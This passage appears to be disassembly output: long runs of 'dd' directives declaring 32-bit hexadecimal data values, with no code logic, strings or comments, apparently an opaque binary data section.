4A21A201h dd 0E0F771C2h, 4894C013h dd 487FED7h, 1E9255FFh, 0EA3814E3h, 0F6128E81h, 11078070h dd 384AC1CBh, 0EE7E14B0h, 6F1FB22h, 6DED90D3h, 0D14509D0h dd 42F1804h, 4180BBEAh, 89BEC5F2h, 4AEE0F0Eh, 107BCA8Dh dd 3880A30Ah, 38C90057h, 3D5AD07Eh, 170BBE1Fh, 18C6180Ch dd 99A700A6h, 8BC34FEAh, 43F9D0CCh, 43E0911Ch, 20A1D3Bh dd 281EE209h, 70EABD45h, 7BCE6E4h, 28C61BE0h, 31169Ah dd 0F47E6A53h, 37A4F2D6h, 303D660Fh, 1CAC18Fh, 0BCCC4DBDh dd 0C5E7F883h, 17333679h, 2094EC60h, 0C6860741h, 8FCC9177h dd 8D780280h, 993924DBh, 2F9A805Eh, 6E97AF73h, 42F512FAh dd 4020BA9Dh, 15C280h, 8B7BA634h, 475C4319h, 17071200h dd 0B49AD076h, 3B480316h, 0BBA4CAAEh, 2C663900h, 7D214342h dd 6E0F00DBh, 87A35103h, 2B019894h, 0C697E1F3h, 0A6C47791h dd 61D2F450h, 0FD19906Dh, 0F23DFCF8h, 8EB0361Fh, 3F433903h dd 81D00051h, 7A5288BCh, 15178CA2h, 40E8D17Ch, 81BAA418h dd 9A765790h, 4F3FC07Ch, 0FCB700C2h, 47B0511Eh, 35DA0087h dd 31AA9683h, 0FDF8588Bh, 0A8B3841Eh, 0B4A39200h, 4C6A39h dd 89943DABh, 8C95A2AAh, 3C145557h, 3CE11880h, 3E38E430h dd 3D08A587h, 9307A386h, 83A0E096h, 133A98Dh, 34201D54h dd 83D9988Eh, 0A1AE8990h, 0A4180059h, 37D88D92h, 0D93A9988h dd 28806C2Fh, 1DA4E894h, 3DE4A28Fh, 0A1DA9A8Ch, 3D30AD78h dd 0B396317Fh, 0DA59C2E4h, 0C989A3Bh, 84A81D6Ah, 3301AD88h dd 0A2E5A183h, 88409A87h, 51E09F96h, 0A8D0143Eh, 47200F92h dd 67074B22h, 88494CA9h, 4C059305h, 1800132Fh, 0B0AC320h dd 843120Dh, 91050039h, 0F52AEA07h, 0DB8AD100h, 83D0ADD7h dd 60BA00F2h, 0A137CAC2h, 39F84B20h, 99461D00h, 0F1109E62h dd 0F3AA3067h, 43810871h, 9420DB70h, 0E9AD1D61h, 0E73B3F5Dh dd 742854B0h, 0ACE8EDD5h, 63FFD410h, 0A177B719h, 291842EAh dd 0F109D20h, 47AA2868h, 5FB83034h, 34179F31h, 0D618AD66h dd 13C91159h, 2809106Bh, 2A27111Eh, 264A4040h, 573029C7h dd 0C365B84Ch, 53E91159h, 4C153018h, 0A8D92E79h, 0C1D5B7A4h dd 85F3ED59h, 29A843F1h, 200164B3h, 0F563DE11h, 0D04760BBh dd 4C3246C4h, 8C390118h, 9ABB230Ch, 0F7B83189h, 0F263B983h dd 6803F4EAh, 49406BD4h, 0C8E86462h, 0E0D54019h, 30B92023h dd 0E8F11E60h, 756EE382h, 56F92631h, 4C285418h, 58DD5191h dd 6B958401h, 6C31F10h, 39781C6Dh, 189B94F0h, 30F4E3D5h dd 0F406C15h, 0E44CA854h, 2658A2EBh, 0F49141E8h, 47B30DCAh dd 0F0394B1Fh, 0F329E8D1h, 8F08A4A0h, 0FA495669h, 21B8B674h dd 0EB64013Eh, 3E17C022h, 0B24B23C3h, 0E811F550h, 10F8E20Ah dd 6A43B050h, 0A5A9BE1h, 23F50611h, 7C075038h, 62FC1F85h dd 0FFA1A046h, 22280A76h, 0A1C84650h, 280A59BBh, 0B046282Fh dd 0A4827A1h, 18082A21h, 0D3237EAFh, 64B7094Dh, 349E5C91h dd 4E44A96Ch, 1E6099D1h, 89F220BBh, 8060EF48h, 990CCECCh dd 363B00B9h, 353AF96Eh, 10C0BC71h, 0B11224EEh, 64F13E96h dd 19C37219h, 0B9098176h, 0F86DFD95h, 0C6723888h, 2612C480h dd 0C83CCD71h, 720CC510h, 7C39211Fh, 3D7F187Ch, 5BB4952h dd 0D6088E0Ch, 0FE3B1030h, 0E599CAF4h, 6F50E03Ch, 4E603D7Eh dd 0C497011h, 1A760373h, 3132C3E9h, 87D4901h, 88537723h dd 185E20E2h, 0E718C5B2h, 9A2827F2h, 0FF5707FAh, 27A2EF8Ah dd 4A49806Ch, 5D2CF53Bh, 0B21E3C63h, 54D4BA00h, 1DC8B661h dd 98B9B4h, 0DBC75F68h, 0C9006342h, 0B65D6CCCh, 0F84CEDF7h dd 3F32F6D7h, 3080DBA8h, 0FF68D9B2h, 507CFD3Ah, 61D78D06h dd 140C567h, 68CAC837h, 0EDD4922Bh, 0F0404929h, 0CF3CC52Ch dd 369A0052h, 0DBAF62B2h, 304CF161h, 0D29805BEh, 30B62D5Eh dd 5FD7931Ch, 2FCED88h, 2C61D4ABh, 609AD2ACh, 6F3BAC25h dd 2C5F0C04h, 1E2D70B6h, 5A00888h, 63EDC9C2h, 0DBD92818h dd 0BEC8D054h, 6CEDB71Eh, 2C2D7C4Ah, 8D63D5E3h, 0ED62C403h dd 885AE388h, 0A65EE26Dh, 55EE0F38h, 1E1149Fh, 0F753D5AFh dd 1C1429A5h, 0E2003A40h, 0FD9EE859h, 74B92969h, 0AC5A2AD7h dd 0C9AD05F8h, 2A86F075h, 0EB04D194h, 0A85743E0h, 4B48EA01h dd 523EF5A9h, 1631BF0h, 62BFC85Ah, 30D3B632h, 0DA7C9E34h dd 2DE8009Ah, 0BE289F60h, 0F159C976h, 29D89821h, 0A20C01C4h dd 6CC8B755h, 62403030h, 0ED285A63h, 0C4E2DB22h, 6C4720CDh dd 0CFC93FFFh, 50EC0C77h, 83749129h, 0C7EBA409h, 60BE9028h dd 0C07F0485h, 284CF988h, 61D5AD01h, 51C6A61Eh, 9B8D9064h dd 631409B4h, 52165800h, 0CC58B22Ch, 136D3C54h, 0D0032A3Eh dd 0C06F6362h, 0C4B05F69h, 0C0C62C40h, 0CEC71EC0h, 5B325403h dd 0A6335EBFh, 938CA310h, 0D3B7C889h, 0B228166Ch, 0BA7007C9h dd 748FBECAh, 80298D04h, 0C76760A0h, 0B32D10C6h, 0B2632460h dd 0CA5830ACh, 0B63C2B6Ch, 40663016h, 74AC368Dh, 0C85E6FCBh dd 0CF03600Fh, 307B615Fh, 0CB781E7Ch, 2D6CA1C7h, 2963C6C0h dd 54C80AB4h, 48986D2Bh, 0A5567D04h, 0C6AC07F8h, 0D85B8568h dd 0C40BE8D4h, 301E51BEh, 199F60h, 636AD78Eh, 2C78C95Bh dd 18A4B893h, 0B73678E1h, 9866F020h, 29601D1Ch, 2E5F01C7h dd 0D58DD4B6h, 284DF0C2h, 65CAAC16h, 0FC247C1Eh, 8ADD3B3Ch dd 6014AE5Fh, 505F0423h, 682CE988h, 385C45Dh, 0B482DDADh dd 13E4CEB6h, 3254D95Bh, 98C0B90Ch, 0DA7CAB32h, 21E9B6E8h dd 280BD3D8h, 12DBC833h, 5B1C40C4h, 0C909C5D7h, 29C4855Eh dd 502CF3E4h, 5187C0C8h, 818B6533h, 0C6295520h, 0C7631030h dd 0C3AC2D69h, 0C9A22A53h, 5E7C20E4h, 3CA42CA5h, 84643C3Eh dd 2C54CAC8h, 797534C3h, 5C8D0358h, 335DD3ACh, 0E83BB0E6h dd 18442950h, 0C40950A4h, 0FF38B505h, 0F0D50423h, 55E4E29Fh dd 84278C5Bh, 0DAC333A0h, 882787EDh, 2C5E187Ch, 0C85DDEh dd 0B63048CAh, 50B461D4h, 0DBA8007Dh, 0CAC66642h, 17D85158h dd 64403DD4h, 0DDB62A6Ch, 0D940AA68h, 0E50A2F8h, 4CE69A1Eh dd 63C89681h, 77207029h, 0D2B26617h, 0BEB63804h, 0E8D944F0h dd 0D4AC2767h, 685D3C91h, 473687D4h, 5FFBC740h, 0C8B20330h dd 0DBAE285Eh, 70A532C1h, 0BA17678Ch, 900369D8h, 0A3073DF7h dd 316E4FBh, 0CFB33050h, 75DB2101h, 52D7C932h, 9ED5B2D0h dd 0D8689250h, 4830EDC8h, 984D68ABh, 284C14F3h, 2C2980BAh dd 0FC5C7634h, 325417F8h, 340B50DDh, 62D5AEE0h, 6E090BEh dd 0A051D4BAh, 3AAD16F0h, 0B1009249h, 63D5C92Fh, 0CE30C41Eh dd 3651216Ch, 54C81DC7h, 0C8CF145Dh, 300E5B27h, 0BEE0CC96h dd 80108C4Eh, 0BF10D438h, 0BA324301h, 0BE4D61C8h, 0B86718E8h dd 748AFE28h, 0C90224EFh, 0CDC201Ch, 0AF6765CDh, 0C3076220h dd 0B85F63CAh, 0AD296C41h, 0E05DB838h, 94C43BCAh, 0A87C8098h dd 9C5AF48Ch, 0CFB5C0F8h, 5B36625Fh, 0EE88D8E6h, 0D9DCA32Dh dd 0D044981Eh, 691ED81Dh, 5ED29901h, 430B05Dh, 808B5019h dd 0A08905Fh, 0D94EC7A9h, 0F0D43AB0h, 6060C25Bh, 0DCF9F6ACh dd 2B286D98h, 0E9DC645Bh, 58C80ACAh, 5762DC4Ah, 0C1605A37h dd 0A9BFC930h, 81D46819h, 0AF2E5DD7h, 0A65F4420h, 0C96494F4h dd 21C6F0E9h, 3E303820h, 0CFA51D4Dh, 0D71932DFh, 0C0A08EE8h dd 20D44CF0h, 0EABF185Ch, 2731B100h, 0E78DF8FEh, 8AF5600h dd 8850714Fh, 223B7A67h dd 1900BDE5h, 475C79A2h, 33F21A8Fh, 1608973Eh, 0A9FE2100h dd 55DE2F79h, 49C6026Eh, 0FE576D0h, 0F13EE820h, 3823CFBh dd 23B90500h, 7EF883C3h, 0E95C1606h, 1D992732h, 0C059E80Ch dd 794F3ACCh, 0EA005182h, 3DBB7EA1h, 0E85BE0BAh, 0C0607DFEh dd 0C76136B8h, 0E87183D8h, 0EE3C3000h, 42E6622Dh, 7FFB1845h dd 4305C9B0h, 0EC33C200h, 0F8A3CEC3h, 3C2F00DBh, 0DEA0CDEFh dd 36307B72h, 0CA3B2015h, 0A8491496h, 0D1E1207Eh, 0A6B18D4h dd 0F24EAABEh, 568E80B4h, 4A0CE018h, 6D3A770Ch, 0C09A0802h dd 184EAD21h, 0A401CAB5h, 484A80E1h, 244B9CCEh, 0B1C09588h dd 2C294EBh, 0CE473789h, 908FAA6Fh, 6A8A2D8Eh, 421E8FFCh dd 0E680C6EEh, 25270FBAh, 0FF17C30Fh, 0D107A61Ch, 0D04C0030h dd 31BED4ABh, 915553Ch, 18D021CFh, 0F879824Eh, 24160087h dd 0BF7C328Eh, 4900701Fh, 47DE5A12h, 0AA0DA5Fh, 57FBB158h dd 0DDC04D0h, 52320031h, 48E330B9h, 976386Dh, 4D3E29C7h dd 0BE351C02h, 9EDE8A20h, 56AA02D9h, 0A355C245h, 1271CB1h dd 0A1803703h, 200610B3h, 0B8008853h, 4555E228h, 0ABA0B7CEh dd 776B8188h, 0FB444080h, 7A52CC80h, 7E0B2506h, 493C33h dd 35C2AB5Bh, 0A29B0CD3h, 0D1FC3251h, 9E93E0D6h, 4C101B61h dd 885087B5h, 6606430Bh, 0A8BA1808h, 1268D722h, 72732FC6h dd 0B8088230h, 0A09C4427h, 93D5CC2Ch, 5284C44Ch, 9B09D090h dd 0E9610365h, 5A6A3CC3h, 4118E67Ch, 5B5958E6h, 71D7B8E3h dd 0BD910CD2h, 6508FADAh, 0EB9621C0h, 198E6032h, 407E0A8Ch dd 8E11843h, 0E2D25532h, 0E2209871h, 0AB83013Ah, 9603C43Bh dd 0D1B040A2h, 337E4EEDh, 5516ACA8h, 0AF017D7Eh, 0B7572249h dd 44D21DB1h, 3CF70030h, 0B85E277Dh, 0AA06A62Ch, 3432C0BDh dd 0BB020121h, 161C4346h, 7A72E0E4h, 83503F7Eh, 2A442294h dd 3C8C04CBh, 0D09F5CFEh, 8B0D6214h, 18E0E96Ah, 0C51EA8EEh dd 0F1C323Dh, 6E24C0Ah, 0EDD030DBh, 2745052h, 0AF9C7D4Fh dd 0FD001C79h, 0B2367D56h, 7BD6A43h, 58287364h, 81C734ABh dd 800EE694h, 0DF0C8371h, 0E74AF0h, 76FA12B0h, 86ED9FEAh dd 73BD7006h, 2D8E008h, 0A12C57DAh, 684039B6h, 0B43283D0h dd 0BD735025h, 205C0890h, 8C0647C0h, 7C178291h, 0EF802C11h dd 0D6473A53h, 54995B26h, 0B7B54E41h, 6FB60BE8h, 850288DFh dd 20655564h, 0CE311F64h, 0D6460054h, 60806DBFh, 0F4BECAC8h dd 200E1145h, 8121E211h, 0A4740627h, 5F18C186h, 7604906Eh dd 0BD96E34Bh, 1D3EF500h, 437AC74Fh, 0A8C02050h, 0E09289F0h dd 8B6396A0h, 66EE6D00h, 52802909h, 8E6500F9h, 6014FF9Ch dd 0AF1DA5FCh, 985806B8h, 20013170h, 8A0A6F17h, 0C8BCCFD6h dd 5644944h, 10AFA3B8h, 2BC8C8C4h, 7D3DF680h, 4C7F058Dh dd 3C824446h, 0FE637E67h, 0BBD21105h, 0C01308BCh, 10628404h dd 3E140812h, 5632DEC0h, 22FA46D2h, 0E67B0066h, 0B0273E32h dd 51605F38h, 0FBD683C0h, 0AED809Bh, 30CA8B18h, 143CB360h dd 0B0CBC244h, 4664EB10h, 74DC1D84h, 920DB00h, 52FFB243h dd 5FF24CEBh, 13FCF730h, 4CD2C7Fh, 0C2706E67h, 0E52283F0h dd 6090AF0Bh, 0CD0F8C79h, 6ED503E2h, 0ED75148Fh, 44E1D2DAh dd 0CEEF01ECh, 5258B3E0h, 92109CC5h, 0C03D882Ah, 0D25732DFh dd 9A80F243h, 511832E7h, 3087C08h, 0D1FC0261h, 8C4804ABh dd 0A6EE2666h, 0CEBF3905h, 9001F3C7h, 5E033845h, 0EB23EC72h dd 0A4799E0Fh, 6867AF47h, 79A60282h, 0D5496069h, 38F10070h dd 0D06B710Fh, 0EB60A0B3h, 0CE5821E8h, 0F76C31BBh, 8F0DE510h dd 4013B641h, 9C5FA53h, 954D00BAh, 64A5B469h, 0C614355Dh dd 439437ACh, 3060A288h, 20047AFh, 28782B6Dh, 25CE448Ah dd 682789EFh, 4604E817h, 1894F8E6h, 0F005A063h, 8813A8ABh dd 60395FE7h, 67DA12DCh, 8CC6281Eh, 0A1201B48h, 42105328h dd 76018462h, 0C4880C0Bh, 0C862BB4Ch, 88574F15h, 81C22484h dd 57C7ECA8h, 7AE4F08Ch, 8301256Fh, 0B53296E0h, 8830CAB1h dd 0B0DCA897h, 8C8048C4h, 840AFCC2h, 0EF68BC8Eh, 55126601h dd 388A3B64h, 71F8ED4Fh, 4CA318E6h, 972BE079h, 1311F8h dd 6D798AF9h, 0EDD2785h, 0CCC6AC74h, 4AC3512h, 25EE2870h dd 6788348Eh, 35247FC7h, 0C21D40D0h, 611009Bh, 57BB0A1Ch dd 12133A94h, 0C004AD69h, 1F1288ABh, 2872D300h, 6505FD18h dd 0C2606DCh, 80D3F4C1h, 7601844Ah, 0FBF42B30h, 68CC4CCDh dd 0B1AB7738h, 82A3384Dh, 0F31069B8h, 0DC5E2866h, 0A4BE6B12h dd 858C88Ch, 3A0CD618h, 1514770h, 902DE118h, 41CFA3EBh dd 18C5FD0h, 24727435h, 68646443h, 1448668Bh, 34020CDFh dd 0AE839688h, 0A1EC1849h, 65ECFB16h, 670612ADh, 0E90A0A72h dd 79A0C0FCh, 9F46475Ah, 0FC051022h, 12E979A7h, 7B0BF580h dd 2B7496A2h, 457F0480h, 16585458h, 3C308BC5h, 0C2C00935h dd 20FE4651h, 0BD45A8A3h, 5039D0E9h, 0CD0ADCF8h, 0E42028B0h dd 929D080Fh, 0DA0F250Eh, 0B44E016Dh, 9863C836h, 8F7FC400h dd 66069EBCh, 89F39D3Ah, 4ACE09E2h, 474C40D8h, 910B161h dd 1C1999B4h, 9A946273h, 68F48198h, 909D780Ah, 0AB08606Ch dd 326427Ah, 1448BC15h, 38471829h, 0BF083024h, 7259034Fh dd 4100F8ABh, 0D775E46Eh, 0A41B065h, 69E6070Fh, 0F02D809Ch dd 0AF0CB399h, 3E971E3Bh, 0AAB2878Eh, 0E3A0D2FBh, 0A909E52Dh dd 0E0F491A4h, 0FC4F001Fh, 9F2EC6CAh, 71051DCDh, 0B95BBFCFh dd 0E888848Dh, 9515833h, 0A86A3FC4h, 0E0B00B8Ch, 0B0B9D407h dd 79A31710h, 0AA80EC96h, 0CD254994h, 89315851h, 3C9C8100h dd 2C295A59h, 8F0E0216h, 8D4B4470h, 3F6605F5h, 8E79FFD5h dd 0C06188C0h, 0A469C520h, 4DCD300h, 2EE9D96Dh, 0DA1000FBh dd 0E0856C77h, 7314EF3Dh, 48D02396h, 8C62E840h, 44ACD902h dd 418EA280h, 0D836B848h, 0C00CE615h, 704B1F00h, 0C293DBB1h dd 699E5300h, 0B63E5D61h, 26A173BFh, 2E8DFC5h, 17F0ABD0h dd 5A20F4C4h, 0B7B5051Bh, 60C674DEh, 0CF3F0298h, 0C9676C01h dd 5A3E7EB4h, 2642A19Dh, 5CE4EAE0h, 0B2011646h, 3F8D2928h dd 0D06C490Ch, 309BA6BEh, 0E4185A01h, 20E2A0Ch, 0AB1852B1h dd 0EC676070h, 3D0BF8FCh, 73242108h, 9FC34220h, 87C20F07h dd 7D06571h, 4D397EFAh, 0EB8800E1h, 0CF04204Dh, 7F49AA51h dd 99887CCEh, 0E54FDEC0h, 0ECD402E4h, 85452BD1h, 0F2D8F4C0h dd 0EC4000B1h, 0C186D3CDh, 6708B318h, 0E6C18682h, 13190B0h dd 3E9B5EBDh, 382A730Ch, 10BA24F8h, 0F824B71Dh, 0CE396C98h dd 28865C23h, 2932FCA1h, 0F5EB00ACh, 2557B2DFh, 0CBE400AAh dd 324C59A7h, 0C5F0A067h, 0D0401600h, 17AE2EDCh, 0F45F8D6h dd 426CF2Ah, 0B38176EFh, 28ABEDCCh, 18AFC278h, 8BF44563h dd 0CF20835h, 330473Ah, 60E6C5BDh, 8390C9Ah, 6C1780Bh dd 0B680A9EAh, 0BD8F7A30h, 0BA4CC081h, 3C506415h, 217B041Fh dd 0BC4B7441h, 28201FAFh, 2DED3F62h, 8B813889h, 0A8B7BC87h dd 75A670Bh, 645B27A0h, 8AAC0A24h, 5A8123Eh, 0B2EDD0A1h dd 3011F230h, 33724961h, 0E6453005h, 0DC4B9C10h, 3EF49018h dd 36890C34h, 0EFF0938Bh, 2636840h, 0B96B71D0h, 0D0A02833h dd 18321386h, 6A513C1Ch, 7738F500h, 0D07F87h, 4457CAF0h dd 552E263Eh, 10845458h, 68000FA4h, 18360C45h, 30A16707h dd 239C3D6Ch, 32E50157h dd 33C2D259h, 0ED948348h, 95D19832h, 31A030Ah, 8AC310B0h dd 9D3C582Dh, 0C1C48874h, 0C1C421FCh, 4CE06072h, 827CB4B1h dd 1CE28A8Bh, 0F2B78B0Fh, 5E3C06E4h, 0A041A9FBh, 0B8372616h dd 0C63A829h, 87373500h, 86F677B3h, 4CB0E824h, 0F8DC5112h dd 617F604Eh, 0CBA83EA5h, 0A4424D07h, 0E237E62Dh, 0D2B181A0h dd 1A6C32ABh, 54EC5568h, 4909113Ch, 0CE440518h, 8CC8D5Fh dd 3D703CD0h, 0A35CD05Fh, 0F300CCF2h, 9F462F9Dh, 26E65F2Bh dd 924710Dh, 9C0F8472h, 731512Ch, 20F53B18h, 41E8DC0h dd 0BEC658CDh, 33A8F1E7h, 3060A28Ch, 0C4034564h, 66BE9835h dd 74B39F8Ch, 0DEB810ABh, 6938F8h, 0E8FE0773h, 1EA05C3h dd 361C3F57h, 8A6B0D90h, 5CD46FE0h, 0E4086549h, 45A96014h dd 0F904011Fh, 0ECEB8E19h, 74218012h, 3C065B28h, 0BB89037Eh dd 27D50D2Ah, 0D08035F3h, 46002DA5h, 3AC33CB1h, 4BD60888h dd 3F9C01FFh, 0A69343C6h, 9D4988C1h, 9C6411F0h, 0C9B783C2h dd 8CCC90E7h, 246B0F99h, 6A20E687h, 7B733D6Eh, 84114224h dd 30713586h, 5E9C94C9h, 39011746h, 64C77FB8h, 3052202Ah dd 0AC830626h, 2946BB42h, 62A9C484h, 0CB1C057h, 58289652h dd 18004FB4h, 75971A50h, 103D7889h, 5F9BCCFEh, 2462D4C2h dd 0F550A432h, 8CE0A10Bh, 112C007Bh, 4873086Eh, 59607C59h dd 0DC8172EEh, 0DAD50900h, 7F133347h, 100A4CD2h, 45032A20h dd 0D708F17Ah, 338A651h, 1435E0B6h, 3192C4BCh, 0B363880h dd 80FDF27Bh, 190F9B38h, 0AA5052DFh, 821409F4h, 0E5ECF10h dd 0F83BB62h, 91EE28C9h, 0AC4D3628h, 0B3161E94h, 6640802Ch dd 5A02A040h, 9BD647D2h, 5F8C5A9h, 95B40D44h, 0B268F3F4h dd 307E3110h, 6E16126Bh, 0A80FE8CCh, 0AA88A445h, 0BEF1CE02h dd 5A219864h, 18F00C32h, 0E0B6E5A8h, 42A1787h, 8DCE9640h dd 4ED80032h, 0B1131DBBh, 4D272872h, 0BA882033h, 196C6CFh dd 2666345Ah, 0D055E9F3h, 631DBB64h, 0A53C6DDAh, 14AC8F9Bh dd 8B4F151Ch, 511400C4h, 69A47C06h, 0FCC4167Ah, 4CDC1086h dd 97094E1Eh, 51741F47h, 0A2E60738h, 0E0EA467Ah, 0A025D69Fh dd 24331944h, 0C7E40091h, 0C3269010h, 9A00B129h, 3F67F6CAh dd 0BA1E735h, 448BD05Eh, 314D0C41h, 0AA5880BCh, 9FCBB756h dd 8D2905E1h, 88B34C49h, 9210A320h, 0A86E265Eh, 3C2E27E0h dd 0A102CB6Eh, 32930CE6h, 0AC690F3Dh, 7305D468h, 12D5620h dd 39897AD8h, 0C86BBE49h, 0ED40B6B3h, 67F237D0h, 0D1618608h dd 2343952h, 38E6B93Eh, 1394E491h, 0CA5387EDh, 9D411F34h dd 0BCCDC652h, 0B8052873h, 81EDD10Bh, 0A0A30A58h, 2778D4F8h dd 0D0B64478h, 59805291h, 69AF9E7Dh, 0FB5814BEh, 557D0040h dd 0DA75310Dh, 5B008153h, 0BA380B5h, 0B2B6667Eh, 0E97318A0h dd 0D508E03Ah, 370DB893h, 4C08A070h, 4F1818AFh, 34E6195Bh dd 49A0936Fh, 7F6C22C2h, 800F28Ah, 0E28B358h, 8873EF00h dd 17C3E909h, 42C883D0h, 40707F48h, 34E88CE2h, 8B28CE26h dd 84967C97h, 0C663E40h, 8D7F00C2h, 65DC5F75h, 970FFD64h dd 96F3B2Bh, 5A948215h, 6D88E3A3h, 0D5701078h, 3308410Ah dd 47E9802Ah, 83CCD9B0h, 0A7BB001Dh, 7F2BBDB7h, 0E990F5F4h dd 536F290Fh, 0DCE38EB5h, 1407E012h, 1B02AF9Bh, 454683Bh dd 64543C66h, 0D7012F04h, 0DB4A46Ah, 864F9CA8h, 1800B491h dd 7C2C402Ah, 87C09135h, 70CA5613h, 0E41576AEh, 72B31902h dd 325DCBBh, 0C8104E4Fh, 0EF13270Ch, 0D2189093h, 0C163ACA3h dd 0F8B67318h, 51F97126h, 4CC9C59h, 930A09B4h, 0DC2A2B8Eh dd 31BD0540h, 0F0F8A653h, 9825DD61h, 0CEC70870h, 0E906A8E3h dd 29C6E5h, 34F32B32h, 4D1BC8C3h, 9A313E02h, 69B1594Eh dd 0D43C1E80h, 8F1C9378h, 0BCAAB370h, 58204CD8h, 0E40FE8B3h dd 0CAD22432h, 95B02CACh, 0AB1432ECh, 2D86B9Ch, 1F664502h dd 4628409Eh, 9DFC24E6h, 0DE264130h, 8CC1A084h, 587F120h dd 28837249h, 33B82810h, 152024E3h, 0E2B79D00h, 62EA788Eh dd 885902DFh, 3F38B004h, 30569449h, 1057E40Ah, 3B2911D0h dd 1CBB500Dh, 80E43821h, 20E0FFFAh, 9B990042h, 0EAE728C9h dd 6501098Fh, 68B5488h, 3020A8F6h, 5FD37780h, 1C680428h dd 0D2B4805Eh, 1363988Bh, 0ABA4CEC1h, 284CC339h, 96AC5898h dd 95465EF0h, 0DF457000h, 9C52C22h, 0EE5E0402h, 4814BE93h dd 0BE548348h, 0A6F42068h, 483F4EFCh, 718081DCh, 0D153F484h dd 870B0048h, 52AFF5F7h, 3A005065h, 861D4F96h, 3072A4EDh dd 0A16036DAh, 8B160AE5h, 23230Eh, 8C3EDAAh, 206AE27Fh dd 0D174DC9Bh, 0D8A19A2Eh, 62EB18B0h, 0B7402CC1h, 0B8583E60h dd 0E3F98180h, 55006DCCh, 72CB65CFh, 0D51833h, 647C9987h dd 80E87F57h, 0B37450Ch, 97F878B7h, 829D7885h, 8B042E84h dd 0CE442C80h, 349F4867h, 0E823B494h, 5B79A101h, 2873A747h dd 79A8FF80h, 0E92E645Ah, 8E089423h, 37B10038h, 15DE8B05h dd 0A294B8B6h, 34314B80h, 64736CBFh, 4E3012E2h, 29020171h dd 4F635AFFh, 0DF07C46h, 0E9BA8AF3h, 0F354122Ah, 0C1C3E1ACh dd 0C1D09D1Fh, 434C0CB8h, 0B520605Ah, 0D052E27Fh, 6FC0F8B0h dd 0A9A23055h, 0F5B5C61Ch, 0CC446880h, 0B57865Bh, 67D68139h dd 6C56ACE2h, 5B30B184h, 4A0830A0h, 433C5DCEh, 7537E135h dd 2C6273C1h, 0A4354F10h, 5CE0ECF1h, 0DD668114h, 712EF120h dd 0EABD50Ch, 0CB16B03Ch, 62282168h, 0EEE601A6h, 496686Ch dd 6C7DC70h, 300A798Bh, 0FE80D60Bh, 58BA2DF0h, 8B42809h dd 63E46089h, 32D8FFD8h, 5F7D7C51h, 946017DBh, 18F0C134h dd 0EF1B01A3h, 80608714h, 0D6808BC9h, 90A39B2Bh, 0BA08902Dh dd 0DB33003Eh, 51B12405h, 900E992h, 6D8493DDh, 1249EBB7h dd 20E5D6CDh, 19204D3Ch, 0B37127E4h, 1A87D3Fh, 2FE934ACh dd 0A9C0F88Dh, 4499091Fh, 0AC2098DEh, 0D2C874E1h, 37739303h dd 0F530B6BAh, 0BB1A4CA2h, 744191A3h, 0B5B18A5h, 320CE518h dd 48801865h, 12821850h, 0E41E0170h, 0EF174454h, 0F811D183h dd 6096142Eh, 28312A88h, 13D03B7Ch, 7D4C44CBh, 0B0B212EDh dd 0D93022F2h, 5FAC035Eh, 0AEBE5510h, 4CC2B198h, 0D512E4B8h dd 180CA1D6h, 9EE6F166h, 0FC098040h, 8D3F9487h, 584C2D0Eh dd 0C36F6003h, 24730CE6h, 808C29CEh, 5A64C5B1h, 407F9880h dd 4BD0F84Ch, 6323A02Fh, 0D4B89407h, 0E892C115h, 50C01288h dd 5CB9C434h, 9146208h, 0D4034AD1h, 1940AE9h, 0E301D6B7h dd 1245EEF4h, 0D39D1CE6h, 0E9278CD4h, 0F9004446h, 884A868h dd 4E6CB4D7h, 258644h, 0F2598CB3h, 0CAB1AB15h, 125440h dd 0F63C2E21h, 0F5854C4Eh, 0A4E5EF0Ah, 9F082C86h, 0DE460E59h dd 0F448ABE9h, 0C68072EBh, 8BD02FE6h, 746E1023h, 28DEA118h dd 762F3519h, 4F4F5ACEh, 57F4740h, 12C8612h, 1050E3F1h dd 20BF2169h, 4CA0A0E4h, 6079E6B9h, 0A44B48C9h, 0D00B1168h dd 2C426E8Bh, 0E5DF860h, 9D2F3380h, 30739827h, 0A29A8AEFh dd 0E3B7D016h, 696AA902h, 5350C954h, 47E4826h, 61AF9D7Dh dd 0A3F8BC22h, 607DD2FCh, 1DB83C62h, 9A62442h, 48AC1406h dd 48C4C50h, 0AFA07D5Bh, 231E6259h, 200542F9h, 7A619043h dd 52D7B804h, 4E72E60Eh, 8B807C1Ch, 87DB2D9Bh, 8FD0FD00h dd 0F7D64770h, 1178C2A5h, 6874CF39h, 0C914346h, 76DB38AFh dd 74F35918h, 92170804h dd 1020E64Eh, 3759538h, 98145558h, 0C75F69h, 0DD4E5E3Bh dd 50381717h, 0AA205421h, 57F7F0h, 84B8A816h, 0AF663F1Fh dd 0F17BA000h, 0E007D6C6h, 8B5F244Fh, 72EB0858h, 870A042Ch dd 7421E47Fh, 41FC0805h, 0E082EC0Ah, 0D0044293h, 490274AEh dd 147EBD4Ch, 38109C4Ah, 74E6A207h, 1305C1D7h, 4F1C261Dh dd 9A23142Fh, 0CABEC100h, 1433F63h, 4D7146DCh, 2E94DE47h dd 32B0A402h, 7634CC5Fh, 0EF68396Dh, 196C072Ch, 2DE681B0h dd 0E2A0000h, 0FF6613E3h, 63B91D51h, 8B4E82D0h, 0D4A131D6h dd 72643D3Eh, 3017F250h, 0D33D1206h, 0ADFA0140h, 534F18B1h dd 70DAF851h, 257D89D8h, 30C8E530h, 0E0F21226h, 0D8FD8D16h dd 0BC6EA00Ah, 9C83D282h, 2050641Bh, 58133022h, 6080F8B3h dd 0EA47A42Fh, 5A409046h, 42200ECBh, 49FC4306h, 2834A548h dd 5B09FCC9h, 19363F4Eh, 0D0235904h, 7F4D3Fh, 50F76B51h dd 605A4C44h, 0C806DA72h, 0CE9BA2Fh, 9C124088h, 26021C93h dd 647DF7CEh, 47EF4448h, 0C81360B4h, 2C824425h, 0E8C009Dh dd 0A31A524Eh, 19E9BEA8h, 682D3280h, 41E4007Eh, 82E8C852h dd 0C70A6A1Eh, 4036FC01h, 14F66792h, 0C0D1EBB0h, 544582Fh dd 0A4095B3Ch, 0DC04200Bh, 5AEF9A2Eh, 7F9045CFh, 0DA20883Dh dd 3A335D3Fh, 16B8D04Dh, 80180F58h, 0E74842DCh, 2478287Eh dd 88875480h, 3322263Eh, 0E651097Dh, 8179C879h, 0F24CB18h dd 0C8257CBAh, 780D2F3Ch, 433D036Eh, 237126FBh, 8C6EE95Bh dd 0B0D6110Eh, 495817Fh, 6C8024DFh, 2033A270h, 89AF712Fh dd 9FBEE680h, 41D09080h, 1E787B72h, 1C444CBCh, 0B3D25941h dd 53BE4h, 94E4447Fh, 